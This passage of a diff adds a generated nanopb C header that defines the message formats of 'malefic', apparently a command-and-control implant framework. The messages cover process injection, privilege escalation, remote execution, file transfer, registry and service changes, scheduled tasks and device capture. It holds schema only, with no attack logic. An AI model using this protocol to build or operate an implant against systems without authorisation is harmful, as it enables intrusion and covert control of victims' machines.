malefic_BinaryResponse_DEFAULT NULL + +#define malefic_Modules_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, STRING, modules, 1) +#define malefic_Modules_CALLBACK NULL +#define malefic_Modules_DEFAULT NULL + +#define malefic_Addons_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, MESSAGE, addons, 1) +#define malefic_Addons_CALLBACK NULL +#define malefic_Addons_DEFAULT NULL +#define malefic_Addons_addons_MSGTYPE malefic_Addon + +#define malefic_Addon_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, STRING, type, 2) \ +X(a, STATIC, SINGULAR, STRING, depend, 3) +#define malefic_Addon_CALLBACK NULL +#define malefic_Addon_DEFAULT NULL + +#define malefic_LoadModule_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, bundle, 1) \ +X(a, STATIC, SINGULAR, BYTES, bin, 2) +#define malefic_LoadModule_CALLBACK NULL +#define malefic_LoadModule_DEFAULT NULL + +#define malefic_LoadAddon_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, STRING, type, 2) \ +X(a, STATIC, SINGULAR, STRING, depend, 3) \ +X(a, STATIC, SINGULAR, BYTES, bin, 4) +#define malefic_LoadAddon_CALLBACK NULL +#define malefic_LoadAddon_DEFAULT NULL + +#define malefic_ExecuteAddon_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, addon, 1) \ +X(a, STATIC, OPTIONAL, MESSAGE, execute_binary, 2) +#define malefic_ExecuteAddon_CALLBACK NULL +#define malefic_ExecuteAddon_DEFAULT NULL +#define malefic_ExecuteAddon_execute_binary_MSGTYPE malefic_ExecuteBinary + +#define malefic_ExecuteBinary_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, BYTES, bin, 2) \ +X(a, CALLBACK, REPEATED, MESSAGE, param, 3) \ +X(a, STATIC, SINGULAR, STRING, type, 4) \ +X(a, STATIC, SINGULAR, STRING, process_name, 5) \ +X(a, STATIC, REPEATED, STRING, args, 6) \ +X(a, STATIC, SINGULAR, STRING, entry_point, 7) \ +X(a, STATIC, SINGULAR, BYTES, data, 8) \ +X(a, STATIC, SINGULAR, BOOL, output, 9) \ +X(a, STATIC, SINGULAR, UINT32, arch, 10) \ +X(a, STATIC, SINGULAR, UINT32, timeout, 11) \ +X(a, STATIC, OPTIONAL, MESSAGE, sacrifice, 12) \ +X(a, STATIC, SINGULAR, STRING, path, 13) \ +X(a, STATIC, SINGULAR, STRING, context, 14) \ +X(a, STATIC, SINGULAR, UINT32, delay, 15) +#define malefic_ExecuteBinary_CALLBACK pb_default_field_callback +#define malefic_ExecuteBinary_DEFAULT NULL +#define malefic_ExecuteBinary_param_MSGTYPE malefic_ExecuteBinary_ParamEntry +#define malefic_ExecuteBinary_sacrifice_MSGTYPE malefic_SacrificeProcess + +#define malefic_ExecuteBinary_ParamEntry_FIELDLIST(X, a) \ +X(a, CALLBACK, SINGULAR, STRING, key, 1) \ +X(a, CALLBACK, SINGULAR, STRING, value, 2) +#define malefic_ExecuteBinary_ParamEntry_CALLBACK pb_default_field_callback +#define malefic_ExecuteBinary_ParamEntry_DEFAULT NULL + +#define malefic_ExecuteCommand_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, command, 1) \ +X(a, STATIC, OPTIONAL, MESSAGE, sacrifice, 2) +#define malefic_ExecuteCommand_CALLBACK NULL +#define malefic_ExecuteCommand_DEFAULT NULL +#define malefic_ExecuteCommand_sacrifice_MSGTYPE malefic_SacrificeProcess + +#define malefic_UploadRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, STRING, target, 2) \ +X(a, STATIC, SINGULAR, UINT32, priv, 3) \ +X(a, STATIC, SINGULAR, BYTES, data, 4) \ +X(a, STATIC, SINGULAR, BOOL, hidden, 5) \ +X(a, STATIC, SINGULAR, BOOL, override, 6) +#define malefic_UploadRequest_CALLBACK NULL +#define malefic_UploadRequest_DEFAULT NULL + +#define malefic_DownloadRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, path, 1) \ +X(a, STATIC, SINGULAR, STRING, name, 2) \ +X(a, STATIC, SINGULAR, UINT32, buffer_size, 3) \ +X(a, STATIC, SINGULAR, BOOL, dir, 4) \ +X(a, STATIC, SINGULAR, INT32, cur, 5) +#define malefic_DownloadRequest_CALLBACK NULL +#define malefic_DownloadRequest_DEFAULT NULL + +#define malefic_DownloadResponse_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, checksum, 1) \ +X(a, STATIC, SINGULAR, UINT64, size, 2) \ +X(a, STATIC, SINGULAR, INT32, cur, 3) \ +X(a, STATIC, SINGULAR, BYTES, content, 4) +#define malefic_DownloadResponse_CALLBACK NULL +#define malefic_DownloadResponse_DEFAULT NULL + +#define malefic_CurlRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, url, 1) \ +X(a, STATIC, SINGULAR, INT32, timeout, 2) \ +X(a, STATIC, SINGULAR, STRING, method, 3) \ +X(a, STATIC, SINGULAR, BYTES, body, 4) \ +X(a, CALLBACK, REPEATED, MESSAGE, header, 5) \ +X(a, STATIC, SINGULAR, STRING, hostname, 6) +#define malefic_CurlRequest_CALLBACK pb_default_field_callback +#define malefic_CurlRequest_DEFAULT NULL +#define malefic_CurlRequest_header_MSGTYPE malefic_CurlRequest_HeaderEntry + +#define malefic_CurlRequest_HeaderEntry_FIELDLIST(X, a) \ +X(a, CALLBACK, SINGULAR, STRING, key, 1) \ +X(a, CALLBACK, SINGULAR, STRING, value, 2) +#define malefic_CurlRequest_HeaderEntry_CALLBACK pb_default_field_callback +#define malefic_CurlRequest_HeaderEntry_DEFAULT NULL + +#define malefic_ChownRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, path, 1) \ +X(a, STATIC, SINGULAR, STRING, uid, 2) \ +X(a, STATIC, SINGULAR, STRING, gid, 3) \ +X(a, STATIC, SINGULAR, BOOL, recursive, 4) +#define malefic_ChownRequest_CALLBACK NULL +#define malefic_ChownRequest_DEFAULT NULL + +#define malefic_IfconfigResponse_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, MESSAGE, net_interfaces, 1) +#define malefic_IfconfigResponse_CALLBACK NULL +#define malefic_IfconfigResponse_DEFAULT NULL +#define malefic_IfconfigResponse_net_interfaces_MSGTYPE malefic_NetInterface + +#define malefic_RegistryRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, type, 1) \ +X(a, STATIC, OPTIONAL, MESSAGE, registry, 2) +#define malefic_RegistryRequest_CALLBACK NULL +#define malefic_RegistryRequest_DEFAULT NULL +#define malefic_RegistryRequest_registry_MSGTYPE malefic_Registry + +#define malefic_Registry_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, hive, 1) \ +X(a, STATIC, SINGULAR, STRING, path, 2) \ +X(a, STATIC, SINGULAR, STRING, key, 3) +#define malefic_Registry_CALLBACK NULL +#define malefic_Registry_DEFAULT NULL + +#define malefic_RegistryWriteRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, hive, 1) \ +X(a, STATIC, SINGULAR, STRING, path, 2) \ +X(a, STATIC, SINGULAR, STRING, key, 3) \ +X(a, STATIC, SINGULAR, STRING, string_value, 5) \ +X(a, STATIC, SINGULAR, BYTES, byte_value, 6) \ +X(a, STATIC, SINGULAR, UINT32, dword_value, 7) \ +X(a, STATIC, SINGULAR, UINT64, qword_value, 8) \ +X(a, STATIC, SINGULAR, UINT32, regtype, 10) +#define malefic_RegistryWriteRequest_CALLBACK NULL +#define malefic_RegistryWriteRequest_DEFAULT NULL + +#define malefic_TaskScheduleRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, type, 1) \ +X(a, STATIC, OPTIONAL, MESSAGE, taskschd, 2) +#define malefic_TaskScheduleRequest_CALLBACK NULL +#define malefic_TaskScheduleRequest_DEFAULT NULL +#define malefic_TaskScheduleRequest_taskschd_MSGTYPE malefic_TaskSchedule + +#define malefic_TaskSchedule_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, STRING, path, 2) \ +X(a, STATIC, SINGULAR, STRING, executable_path, 3) \ +X(a, STATIC, SINGULAR, UINT32, trigger_type, 4) \ +X(a, STATIC, SINGULAR, STRING, start_boundary, 5) \ +X(a, STATIC, SINGULAR, STRING, description, 6) \ +X(a, STATIC, SINGULAR, BOOL, enabled, 7) \ +X(a, STATIC, SINGULAR, STRING, last_run_time, 8) \ +X(a, STATIC, SINGULAR, STRING, next_run_time, 9) +#define malefic_TaskSchedule_CALLBACK NULL +#define malefic_TaskSchedule_DEFAULT NULL + +#define malefic_TaskSchedulesResponse_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, MESSAGE, schedules, 1) +#define malefic_TaskSchedulesResponse_CALLBACK NULL +#define malefic_TaskSchedulesResponse_DEFAULT NULL +#define malefic_TaskSchedulesResponse_schedules_MSGTYPE malefic_TaskSchedule + +#define malefic_ServiceRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, type, 1) \ +X(a, STATIC, OPTIONAL, MESSAGE, service, 2) +#define malefic_ServiceRequest_CALLBACK NULL +#define malefic_ServiceRequest_DEFAULT NULL +#define malefic_ServiceRequest_service_MSGTYPE malefic_ServiceConfig + +#define malefic_ServiceConfig_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, STRING, display_name, 2) \ +X(a, STATIC, SINGULAR, STRING, executable_path, 3) \ +X(a, STATIC, SINGULAR, UINT32, start_type, 4) \ +X(a, STATIC, SINGULAR, UINT32, error_control, 5) \ +X(a, STATIC, SINGULAR, STRING, account_name, 6) +#define malefic_ServiceConfig_CALLBACK NULL +#define malefic_ServiceConfig_DEFAULT NULL + +#define malefic_ServiceStatus_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, UINT32, current_state, 1) \ +X(a, STATIC, SINGULAR, UINT32, process_id, 2) \ +X(a, STATIC, SINGULAR, UINT32, exit_code, 3) \ +X(a, STATIC, SINGULAR, UINT32, checkpoint, 4) \ +X(a, STATIC, SINGULAR, UINT32, wait_hint, 5) +#define malefic_ServiceStatus_CALLBACK NULL +#define malefic_ServiceStatus_DEFAULT NULL + +#define malefic_Service_FIELDLIST(X, a) \ +X(a, STATIC, OPTIONAL, MESSAGE, config, 1) \ +X(a, STATIC, OPTIONAL, MESSAGE, status, 2) +#define malefic_Service_CALLBACK NULL +#define malefic_Service_DEFAULT NULL +#define malefic_Service_config_MSGTYPE malefic_ServiceConfig +#define malefic_Service_status_MSGTYPE malefic_ServiceStatus + +#define malefic_ServicesResponse_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, MESSAGE, services, 1) +#define malefic_ServicesResponse_CALLBACK NULL +#define malefic_ServicesResponse_DEFAULT NULL +#define malefic_ServicesResponse_services_MSGTYPE malefic_Service + +#define malefic_WmiQueryRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, namespace, 1) \ +X(a, STATIC, REPEATED, STRING, args, 2) +#define malefic_WmiQueryRequest_CALLBACK NULL +#define malefic_WmiQueryRequest_DEFAULT NULL + +#define malefic_WmiMethodRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, namespace, 1) \ +X(a, STATIC, SINGULAR, STRING, class_name, 2) \ +X(a, STATIC, SINGULAR, STRING, method_name, 3) \ +X(a, CALLBACK, REPEATED, MESSAGE, params, 4) +#define malefic_WmiMethodRequest_CALLBACK pb_default_field_callback +#define malefic_WmiMethodRequest_DEFAULT NULL +#define malefic_WmiMethodRequest_params_MSGTYPE malefic_WmiMethodRequest_ParamsEntry + +#define malefic_WmiMethodRequest_ParamsEntry_FIELDLIST(X, a) \ +X(a, CALLBACK, SINGULAR, STRING, key, 1) \ +X(a, CALLBACK, SINGULAR, STRING, value, 2) +#define malefic_WmiMethodRequest_ParamsEntry_CALLBACK pb_default_field_callback +#define malefic_WmiMethodRequest_ParamsEntry_DEFAULT NULL + +#define malefic_RunAsRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, username, 1) \ +X(a, STATIC, SINGULAR, STRING, domain, 2) \ +X(a, STATIC, SINGULAR, STRING, password, 3) \ +X(a, STATIC, SINGULAR, STRING, program, 4) \ +X(a, STATIC, SINGULAR, STRING, args, 5) \ +X(a, STATIC, SINGULAR, BOOL, use_profile, 6) \ +X(a, STATIC, SINGULAR, BOOL, netonly, 7) \ +X(a, STATIC, SINGULAR, BOOL, use_env, 8) +#define malefic_RunAsRequest_CALLBACK NULL +#define malefic_RunAsRequest_DEFAULT NULL + +#define malefic_GetSystem_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, BYTES, bin, 1) \ +X(a, STATIC, SINGULAR, UINT32, pid, 2) +#define malefic_GetSystem_CALLBACK NULL +#define malefic_GetSystem_DEFAULT NULL + +#define malefic_Inject_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, BYTES, bin, 1) \ +X(a, STATIC, SINGULAR, UINT32, pid, 2) +#define malefic_Inject_CALLBACK NULL +#define malefic_Inject_DEFAULT NULL + +#define malefic_Pipe_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, STRING, target, 2) \ +X(a, STATIC, SINGULAR, BYTES, data, 4) +#define malefic_Pipe_CALLBACK NULL +#define malefic_Pipe_DEFAULT NULL + +#define malefic_PipeRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, type, 1) \ +X(a, STATIC, OPTIONAL, MESSAGE, pipe, 2) +#define malefic_PipeRequest_CALLBACK NULL +#define malefic_PipeRequest_DEFAULT NULL +#define malefic_PipeRequest_pipe_MSGTYPE malefic_Pipe + +#define malefic_Switch_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, STRING, urls, 1) +#define malefic_Switch_CALLBACK NULL +#define malefic_Switch_DEFAULT NULL + +#define malefic_TaskCtrl_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, UINT32, task_id, 1) \ +X(a, STATIC, SINGULAR, STRING, op, 2) +#define malefic_TaskCtrl_CALLBACK NULL +#define malefic_TaskCtrl_DEFAULT NULL + +#define malefic_TaskInfo_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, UINT32, task_id, 1) \ +X(a, STATIC, SINGULAR, UINT64, last, 2) \ +X(a, STATIC, SINGULAR, UINT32, recv_count, 3) \ +X(a, STATIC, SINGULAR, UINT32, send_count, 4) +#define malefic_TaskInfo_CALLBACK NULL +#define malefic_TaskInfo_DEFAULT NULL + +#define malefic_TaskListResponse_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, MESSAGE, tasks, 1) +#define malefic_TaskListResponse_CALLBACK NULL +#define malefic_TaskListResponse_DEFAULT NULL +#define malefic_TaskListResponse_tasks_MSGTYPE malefic_TaskInfo + +#define malefic_FFmpegRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, action, 1) \ +X(a, STATIC, SINGULAR, STRING, device_name, 2) \ +X(a, STATIC, SINGULAR, STRING, output_format, 3) \ +X(a, STATIC, SINGULAR, STRING, output_path, 4) \ +X(a, STATIC, SINGULAR, STRING, time, 5) +#define malefic_FFmpegRequest_CALLBACK NULL +#define malefic_FFmpegRequest_DEFAULT NULL + +#define malefic_PtyRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, type, 1) \ +X(a, STATIC, SINGULAR, STRING, session_id, 2) \ +X(a, STATIC, SINGULAR, STRING, shell, 3) \ +X(a, STATIC, SINGULAR, UINT32, cols, 4) \ +X(a, STATIC, SINGULAR, UINT32, rows, 5) \ +X(a, STATIC, SINGULAR, BYTES, input_data, 6) \ +X(a, STATIC, SINGULAR, STRING, input_text, 7) \ +X(a, CALLBACK, REPEATED, MESSAGE, params, 8) +#define malefic_PtyRequest_CALLBACK pb_default_field_callback +#define malefic_PtyRequest_DEFAULT NULL +#define malefic_PtyRequest_params_MSGTYPE malefic_PtyRequest_ParamsEntry + +#define malefic_PtyRequest_ParamsEntry_FIELDLIST(X, a) \ +X(a, CALLBACK, SINGULAR, STRING, key, 1) \ +X(a, CALLBACK, SINGULAR, STRING, value, 2) +#define malefic_PtyRequest_ParamsEntry_CALLBACK pb_default_field_callback +#define malefic_PtyRequest_ParamsEntry_DEFAULT NULL + +#define malefic_PtyResponse_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, session_id, 1) \ +X(a, STATIC, SINGULAR, BYTES, output_data, 2) \ +X(a, STATIC, SINGULAR, STRING, output_text, 3) \ +X(a, STATIC, SINGULAR, STRING, error, 4) \ +X(a, STATIC, SINGULAR, BOOL, session_active, 5) \ +X(a, STATIC, REPEATED, STRING, active_sessions, 6) \ +X(a, CALLBACK, REPEATED, MESSAGE, metadata, 7) +#define malefic_PtyResponse_CALLBACK pb_default_field_callback +#define malefic_PtyResponse_DEFAULT NULL +#define malefic_PtyResponse_metadata_MSGTYPE malefic_PtyResponse_MetadataEntry + +#define malefic_PtyResponse_MetadataEntry_FIELDLIST(X, a) \ +X(a, CALLBACK, SINGULAR, STRING, key, 1) \ +X(a, CALLBACK, SINGULAR, STRING, value, 2) +#define malefic_PtyResponse_MetadataEntry_CALLBACK pb_default_field_callback +#define malefic_PtyResponse_MetadataEntry_DEFAULT NULL + +#define malefic_CommonBody_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, REPEATED, UINT32, u32_array, 2) \ +X(a, STATIC, REPEATED, UINT64, u64_array, 4) \ +X(a, STATIC, REPEATED, BOOL, bool_array, 6) \ +X(a, STATIC, REPEATED, STRING, string_array, 8) \ +X(a, STATIC, REPEATED, BYTES, bytes_array, 10) +#define malefic_CommonBody_CALLBACK NULL +#define malefic_CommonBody_DEFAULT NULL + +extern const pb_msgdesc_t malefic_Ping_msg; +extern const pb_msgdesc_t malefic_Register_msg; +extern const pb_msgdesc_t malefic_Secure_msg; +extern const pb_msgdesc_t malefic_KeyExchangeRequest_msg; +extern const pb_msgdesc_t malefic_KeyExchangeResponse_msg; +extern const pb_msgdesc_t malefic_Init_msg; +extern const pb_msgdesc_t malefic_SysInfo_msg; +extern const pb_msgdesc_t malefic_Suicide_msg; +extern const pb_msgdesc_t malefic_Request_msg; +extern const pb_msgdesc_t malefic_Request_ParamsEntry_msg; +extern const pb_msgdesc_t malefic_Response_msg; +extern const pb_msgdesc_t malefic_Response_KvEntry_msg; +extern const pb_msgdesc_t malefic_BypassRequest_msg; +extern const pb_msgdesc_t malefic_NetInterface_msg; +extern const pb_msgdesc_t malefic_SockTabEntry_msg; +extern const pb_msgdesc_t malefic_NetstatResponse_msg; +extern const pb_msgdesc_t malefic_Block_msg; +extern const pb_msgdesc_t malefic_ACK_msg; +extern const pb_msgdesc_t malefic_Os_msg; +extern const pb_msgdesc_t malefic_Process_msg; +extern const pb_msgdesc_t malefic_Timer_msg; +extern const pb_msgdesc_t malefic_FileInfo_msg; +extern const pb_msgdesc_t malefic_SacrificeProcess_msg; +extern const pb_msgdesc_t malefic_LsResponse_msg; +extern const pb_msgdesc_t malefic_DriveInfo_msg; +extern const pb_msgdesc_t malefic_EnumDriversResponse_msg; +extern const pb_msgdesc_t malefic_PsResponse_msg; +extern const pb_msgdesc_t malefic_ExecRequest_msg; +extern const pb_msgdesc_t malefic_ExecResponse_msg; +extern const pb_msgdesc_t malefic_BinaryResponse_msg; +extern const pb_msgdesc_t malefic_Modules_msg; +extern const pb_msgdesc_t malefic_Addons_msg; +extern const pb_msgdesc_t malefic_Addon_msg; +extern const pb_msgdesc_t malefic_LoadModule_msg; +extern const pb_msgdesc_t malefic_LoadAddon_msg; +extern const pb_msgdesc_t malefic_ExecuteAddon_msg; +extern const pb_msgdesc_t malefic_ExecuteBinary_msg; +extern const pb_msgdesc_t malefic_ExecuteBinary_ParamEntry_msg; +extern const pb_msgdesc_t malefic_ExecuteCommand_msg; +extern const pb_msgdesc_t malefic_UploadRequest_msg; +extern const pb_msgdesc_t malefic_DownloadRequest_msg; +extern const pb_msgdesc_t malefic_DownloadResponse_msg; +extern const pb_msgdesc_t malefic_CurlRequest_msg; +extern const pb_msgdesc_t malefic_CurlRequest_HeaderEntry_msg; +extern const pb_msgdesc_t malefic_ChownRequest_msg; +extern const pb_msgdesc_t malefic_IfconfigResponse_msg; +extern const pb_msgdesc_t malefic_RegistryRequest_msg; +extern const pb_msgdesc_t malefic_Registry_msg; +extern const pb_msgdesc_t malefic_RegistryWriteRequest_msg; +extern const pb_msgdesc_t malefic_TaskScheduleRequest_msg; +extern const pb_msgdesc_t malefic_TaskSchedule_msg; +extern const pb_msgdesc_t malefic_TaskSchedulesResponse_msg; +extern const pb_msgdesc_t malefic_ServiceRequest_msg; +extern const pb_msgdesc_t malefic_ServiceConfig_msg; +extern const pb_msgdesc_t malefic_ServiceStatus_msg; +extern const pb_msgdesc_t malefic_Service_msg; +extern const pb_msgdesc_t malefic_ServicesResponse_msg; +extern const pb_msgdesc_t malefic_WmiQueryRequest_msg; +extern const pb_msgdesc_t malefic_WmiMethodRequest_msg; +extern const pb_msgdesc_t malefic_WmiMethodRequest_ParamsEntry_msg; +extern const pb_msgdesc_t malefic_RunAsRequest_msg; +extern const pb_msgdesc_t malefic_GetSystem_msg; +extern const pb_msgdesc_t malefic_Inject_msg; +extern const pb_msgdesc_t malefic_Pipe_msg; +extern const pb_msgdesc_t malefic_PipeRequest_msg; +extern const pb_msgdesc_t malefic_Switch_msg; +extern const pb_msgdesc_t malefic_TaskCtrl_msg; +extern const pb_msgdesc_t malefic_TaskInfo_msg; +extern const pb_msgdesc_t malefic_TaskListResponse_msg; +extern const pb_msgdesc_t malefic_FFmpegRequest_msg; +extern const pb_msgdesc_t malefic_PtyRequest_msg; +extern const pb_msgdesc_t malefic_PtyRequest_ParamsEntry_msg; +extern const pb_msgdesc_t malefic_PtyResponse_msg; +extern const pb_msgdesc_t malefic_PtyResponse_MetadataEntry_msg; +extern const pb_msgdesc_t malefic_CommonBody_msg; + +/* Defines for backwards compatibility with code written before nanopb-0.4.0 */ +#define malefic_Ping_fields &malefic_Ping_msg +#define malefic_Register_fields &malefic_Register_msg +#define malefic_Secure_fields &malefic_Secure_msg +#define malefic_KeyExchangeRequest_fields &malefic_KeyExchangeRequest_msg +#define malefic_KeyExchangeResponse_fields &malefic_KeyExchangeResponse_msg +#define malefic_Init_fields &malefic_Init_msg +#define malefic_SysInfo_fields &malefic_SysInfo_msg +#define malefic_Suicide_fields &malefic_Suicide_msg +#define malefic_Request_fields &malefic_Request_msg +#define malefic_Request_ParamsEntry_fields &malefic_Request_ParamsEntry_msg +#define malefic_Response_fields &malefic_Response_msg +#define malefic_Response_KvEntry_fields &malefic_Response_KvEntry_msg +#define malefic_BypassRequest_fields &malefic_BypassRequest_msg +#define malefic_NetInterface_fields &malefic_NetInterface_msg +#define malefic_SockTabEntry_fields &malefic_SockTabEntry_msg +#define malefic_NetstatResponse_fields &malefic_NetstatResponse_msg +#define malefic_Block_fields &malefic_Block_msg +#define malefic_ACK_fields &malefic_ACK_msg +#define malefic_Os_fields &malefic_Os_msg +#define malefic_Process_fields &malefic_Process_msg +#define malefic_Timer_fields &malefic_Timer_msg +#define malefic_FileInfo_fields &malefic_FileInfo_msg +#define malefic_SacrificeProcess_fields &malefic_SacrificeProcess_msg +#define malefic_LsResponse_fields &malefic_LsResponse_msg +#define malefic_DriveInfo_fields &malefic_DriveInfo_msg +#define malefic_EnumDriversResponse_fields &malefic_EnumDriversResponse_msg +#define malefic_PsResponse_fields &malefic_PsResponse_msg +#define malefic_ExecRequest_fields &malefic_ExecRequest_msg +#define malefic_ExecResponse_fields &malefic_ExecResponse_msg +#define malefic_BinaryResponse_fields &malefic_BinaryResponse_msg +#define malefic_Modules_fields &malefic_Modules_msg +#define malefic_Addons_fields &malefic_Addons_msg +#define malefic_Addon_fields &malefic_Addon_msg +#define malefic_LoadModule_fields &malefic_LoadModule_msg +#define malefic_LoadAddon_fields &malefic_LoadAddon_msg +#define malefic_ExecuteAddon_fields &malefic_ExecuteAddon_msg +#define malefic_ExecuteBinary_fields &malefic_ExecuteBinary_msg +#define malefic_ExecuteBinary_ParamEntry_fields &malefic_ExecuteBinary_ParamEntry_msg +#define malefic_ExecuteCommand_fields &malefic_ExecuteCommand_msg +#define malefic_UploadRequest_fields &malefic_UploadRequest_msg +#define malefic_DownloadRequest_fields &malefic_DownloadRequest_msg +#define malefic_DownloadResponse_fields &malefic_DownloadResponse_msg +#define malefic_CurlRequest_fields &malefic_CurlRequest_msg +#define malefic_CurlRequest_HeaderEntry_fields &malefic_CurlRequest_HeaderEntry_msg +#define malefic_ChownRequest_fields &malefic_ChownRequest_msg +#define malefic_IfconfigResponse_fields &malefic_IfconfigResponse_msg +#define malefic_RegistryRequest_fields &malefic_RegistryRequest_msg +#define malefic_Registry_fields &malefic_Registry_msg +#define malefic_RegistryWriteRequest_fields &malefic_RegistryWriteRequest_msg +#define malefic_TaskScheduleRequest_fields &malefic_TaskScheduleRequest_msg +#define malefic_TaskSchedule_fields &malefic_TaskSchedule_msg +#define malefic_TaskSchedulesResponse_fields &malefic_TaskSchedulesResponse_msg +#define malefic_ServiceRequest_fields &malefic_ServiceRequest_msg +#define malefic_ServiceConfig_fields &malefic_ServiceConfig_msg +#define malefic_ServiceStatus_fields &malefic_ServiceStatus_msg +#define malefic_Service_fields &malefic_Service_msg +#define malefic_ServicesResponse_fields &malefic_ServicesResponse_msg +#define malefic_WmiQueryRequest_fields &malefic_WmiQueryRequest_msg +#define malefic_WmiMethodRequest_fields &malefic_WmiMethodRequest_msg +#define malefic_WmiMethodRequest_ParamsEntry_fields &malefic_WmiMethodRequest_ParamsEntry_msg +#define malefic_RunAsRequest_fields &malefic_RunAsRequest_msg +#define malefic_GetSystem_fields &malefic_GetSystem_msg +#define malefic_Inject_fields &malefic_Inject_msg +#define malefic_Pipe_fields &malefic_Pipe_msg +#define malefic_PipeRequest_fields &malefic_PipeRequest_msg +#define malefic_Switch_fields &malefic_Switch_msg +#define malefic_TaskCtrl_fields &malefic_TaskCtrl_msg +#define malefic_TaskInfo_fields &malefic_TaskInfo_msg +#define malefic_TaskListResponse_fields &malefic_TaskListResponse_msg +#define malefic_FFmpegRequest_fields &malefic_FFmpegRequest_msg +#define malefic_PtyRequest_fields &malefic_PtyRequest_msg +#define malefic_PtyRequest_ParamsEntry_fields &malefic_PtyRequest_ParamsEntry_msg +#define malefic_PtyResponse_fields &malefic_PtyResponse_msg +#define malefic_PtyResponse_MetadataEntry_fields &malefic_PtyResponse_MetadataEntry_msg +#define malefic_CommonBody_fields &malefic_CommonBody_msg + +/* Maximum encoded size of messages (where known) */ +/* malefic_Request_size depends on runtime parameters */ +/* malefic_Request_ParamsEntry_size depends on runtime parameters */ +/* malefic_Response_size depends on runtime parameters */ +/* malefic_Response_KvEntry_size depends on runtime parameters */ +/* malefic_ExecuteAddon_size depends on runtime parameters */ +/* malefic_ExecuteBinary_size depends on runtime parameters */ +/* malefic_ExecuteBinary_ParamEntry_size depends on runtime parameters */ +/* malefic_CurlRequest_size depends on runtime parameters */ +/* malefic_CurlRequest_HeaderEntry_size depends on runtime parameters */ +/* malefic_WmiMethodRequest_size depends on runtime parameters */ +/* malefic_WmiMethodRequest_ParamsEntry_size depends on runtime parameters */ +/* malefic_PtyRequest_size depends on runtime parameters */ +/* malefic_PtyRequest_ParamsEntry_size depends on runtime parameters */ +/* malefic_PtyResponse_size depends on runtime parameters */ +/* malefic_PtyResponse_MetadataEntry_size depends on runtime parameters */ +#define MALEFIC_MODULE_PB_H_MAX_SIZE malefic_PsResponse_size +#define malefic_ACK_size 10 +#define malefic_Addon_size 325 +#define malefic_Addons_size 10496 +#define malefic_BinaryResponse_size 8467 +#define malefic_Block_size 4107 +#define malefic_BypassRequest_size 6 +#define malefic_ChownRequest_size 390 +#define malefic_CommonBody_size 74706 +#define malefic_DownloadRequest_size 535 +#define malefic_DownloadResponse_size 4251 +#define malefic_DriveInfo_size 185 +#define malefic_EnumDriversResponse_size 3008 +#define malefic_ExecRequest_size 8526 +#define malefic_ExecResponse_size 8217 +#define malefic_ExecuteCommand_size 531 +#define malefic_FFmpegRequest_size 519 +#define malefic_FileInfo_size 546 +#define malefic_GetSystem_size 4105 +#define malefic_IfconfigResponse_size 38944 +#define malefic_Init_size 4099 +#define malefic_Inject_size 4105 +#define malefic_KeyExchangeRequest_size 593 +#define malefic_KeyExchangeResponse_size 258 +#define malefic_LoadAddon_size 4424 +#define malefic_LoadModule_size 4357 +#define malefic_LsResponse_size 70532 +#define malefic_Modules_size 16512 +#define malefic_NetInterface_size 1214 +#define malefic_NetstatResponse_size 51200 +#define malefic_Os_size 1268 +#define malefic_Ping_size 11 +#define malefic_PipeRequest_size 4427 +#define malefic_Pipe_size 4359 +#define malefic_Process_size 886 +#define malefic_PsResponse_size 455168 +#define malefic_Register_size 30933 +#define malefic_RegistryRequest_size 649 +#define malefic_RegistryWriteRequest_size 4961 +#define malefic_Registry_size 581 +#define malefic_RunAsRequest_size 1040 +#define malefic_SacrificeProcess_size 270 +#define malefic_Secure_size 583 +#define malefic_ServiceConfig_size 916 +#define malefic_ServiceRequest_size 984 +#define malefic_ServiceStatus_size 30 +#define malefic_Service_size 951 +#define malefic_ServicesResponse_size 122112 